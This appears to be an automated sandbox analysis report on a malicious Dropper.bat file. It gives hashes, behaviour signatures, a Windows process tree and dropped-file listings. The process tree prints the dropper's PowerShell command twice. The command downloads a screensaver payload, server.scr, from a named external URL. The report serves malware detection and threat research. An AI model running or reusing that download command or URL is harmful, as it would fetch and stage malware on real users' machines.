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Resubmissions

03/10/2024, 18:00

241003-wlb4xasdnd 10

04/09/2024, 12:18

240904-pgn5ca1drd 10

Analysis

  • max time kernel
    947s
  • max time network
    1691s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03/10/2024, 18:00

General

  • Target

    Dropper.bat

  • Size

    470B

  • MD5

    8073ff57f855d5cd51346f011933d9fb

  • SHA1

    d24fc282fb660945b87e1c41860a031f6e7ec9f6

  • SHA256

    6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

  • SHA512

    9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://master-repogen.vercel.app/file/server.scr

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2372
  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7f39758,0x7fef7f39768,0x7fef7f39778
      2⤵
        PID:2860
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:2
        2⤵
          PID:1752
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
          2⤵
            PID:2348
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
            2⤵
              PID:1932
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2156 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:1
              2⤵
                PID:1040
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2164 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:1
                2⤵
                  PID:1296
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1412 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:2
                  2⤵
                    PID:1632
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1416 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:1
                    2⤵
                      PID:1580
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3312 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
                      2⤵
                        PID:1804
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3360 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
                        2⤵
                          PID:2996
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3604 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
                          2⤵
                            PID:2268
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3720 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
                            2⤵
                              PID:352
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3116 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
                              2⤵
                                PID:1716
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3620 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:1
                                2⤵
                                  PID:2744
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3596 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:8
                                  2⤵
                                  • Modifies registry class
                                  • Suspicious behavior: GetForegroundWindowSpam
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2300
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3548 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:1
                                  2⤵
                                    PID:1956
                                • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                  1⤵
                                    PID:1032
                                  • C:\Windows\explorer.exe
                                    "C:\Windows\explorer.exe"
                                    1⤵
                                      PID:1640
                                    • C:\Windows\system32\AUDIODG.EXE
                                      C:\Windows\system32\AUDIODG.EXE 0x514
                                      1⤵
                                        PID:2628
                                      • C:\Windows\system32\cmd.exe
                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "
                                        1⤵
                                          PID:1624
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
                                            2⤵
                                            • Blocklisted process makes network request
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:1232

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1

                                          Filesize

                                          264KB

                                          MD5

                                          f50f89a0a91564d0b8a211f8921aa7de

                                          SHA1

                                          112403a17dd69d5b9018b8cede023cb3b54eab7d

                                          SHA256

                                          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                          SHA512

                                          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp

                                          Filesize

                                          16B

                                          MD5

                                          aefd77f47fb84fae5ea194496b44c67a

                                          SHA1

                                          dcfbb6a5b8d05662c4858664f81693bb7f803b82

                                          SHA256

                                          4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

                                          SHA512

                                          b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                          Filesize

                                          5KB

                                          MD5

                                          d6da7511488b01604718d0b6dd35fb22

                                          SHA1

                                          32242fa023e2c4050c56d9094259df5b05b4a735

                                          SHA256

                                          f8849c7eb91043ee6cbcbcebe52af4997f43c734630064135ddbbe3b8fb23c9f

                                          SHA512

                                          6b50baa4ca39c837b341baef27a4ad238e3590408e9ce0ae8caa72cd82bec24d8d4e4268c828d872428e85612b52dd855ea2f5bf71cda57b7be9b541e6d9c4aa

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                          Filesize

                                          5KB

                                          MD5

                                          dd022b3a259164d6c351763ea0bc6a8f

                                          SHA1

                                          290e0372341b1021d34bd306ef7edcb76aaa93bc

                                          SHA256

                                          133ae64d32387159865c6745f91f982342a84287c01bef76ded310ffa09bc4d2

                                          SHA512

                                          7ba5e27ad8481459f2a1bee8909f6e42e438039ca23bebce7faa5c258fbdd9c6314ae60609a677b9a5790906168f07fa14b56fe7c0e1a6e8acced6c038bdbfc4

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          130d9fc61a0d2c30f314cd72afc7ce2e

                                          SHA1

                                          3f54ffca8eef578c5b225b5144aaac0fbbb046ee

                                          SHA256

                                          fb2200e954dcc3f4bbc69fb48f80adbe63307515dd075cd2ebcff244262c2b1f

                                          SHA512

                                          89fbd6a518fe3a946db849bbf4d19397127765bdddb53663640a48a1654d7f628346e3c17a3266c4f3464474900d0e915ba5ec6b365dc685e0ce0d1889db4f3f

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp

                                          Filesize

                                          16B

                                          MD5

                                          18e723571b00fb1694a3bad6c78e4054

                                          SHA1

                                          afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                                          SHA256

                                          8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                                          SHA512

                                          43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                          Filesize

                                          341KB

                                          MD5

                                          8e190754ab6afaa02eb3bb8f82462e64

                                          SHA1

                                          42a50682adb4d0962526a584ac20d4eca4db021f

                                          SHA256

                                          fbc4862699e66728c341b2a6100784fd57507a2621ee2206b992c728e3274e66

                                          SHA512

                                          7b39018cc0689d0d3d07ffa2220ce69cf171cdd8184995a5fb87724a257dfb6f368ec1962e26bcaad8427e4ef18b35d13422da1076137ab89ef4790153737a3f

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                          Filesize

                                          341KB

                                          MD5

                                          a6c51b8c80ea32aea74539006b144db0

                                          SHA1

                                          d114631df0dd1705e0abc7006d0b5f763023dcfc

                                          SHA256

                                          2034ea7c4658cf7872a63f6e5150218211ed23c61aa289fa4ee449179e336adc

                                          SHA512

                                          e6d4a1489e6389296d0d6a82f08128e30fa591c0edfb26ad75f8870f3518f33af3daf778a64c92b90a5cc63b6467bbe41594b7b62c0b00c3746389c9882a6c12

                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                          Filesize

                                          7KB

                                          MD5

                                          d50392edd2bb3be8c590ef46f780382b

                                          SHA1

                                          75358a52dfba2e57e286a7bfc38738dba7e6c0e6

                                          SHA256

                                          8c89d311199e411927cb2faaaa586813dc06fca4f8b0a07998027cb6ca6e68e3

                                          SHA512

                                          4045f65799a41bf03d5f2d096fa5a1e221cd780328efc49fc6334c00f3f096c79b02a327550c157764ef80308a9da15727e482385fd91b7f2ca9c4bd2f54c01c

                                        • memory/1232-164-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/1232-163-0x000000001B980000-0x000000001BC62000-memory.dmp

                                          Filesize

                                          2.9MB

                                        • memory/2372-10-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

                                          Filesize

                                          9.6MB

                                        • memory/2372-11-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

                                          Filesize

                                          9.6MB

                                        • memory/2372-8-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

                                          Filesize

                                          9.6MB

                                        • memory/2372-4-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2372-5-0x000000001B650000-0x000000001B932000-memory.dmp

                                          Filesize

                                          2.9MB

                                        • memory/2372-9-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

                                          Filesize

                                          9.6MB

                                        • memory/2372-7-0x00000000022A0000-0x00000000022A8000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2372-6-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

                                          Filesize

                                          9.6MB

                                        • memory/2372-12-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

                                          Filesize

                                          9.6MB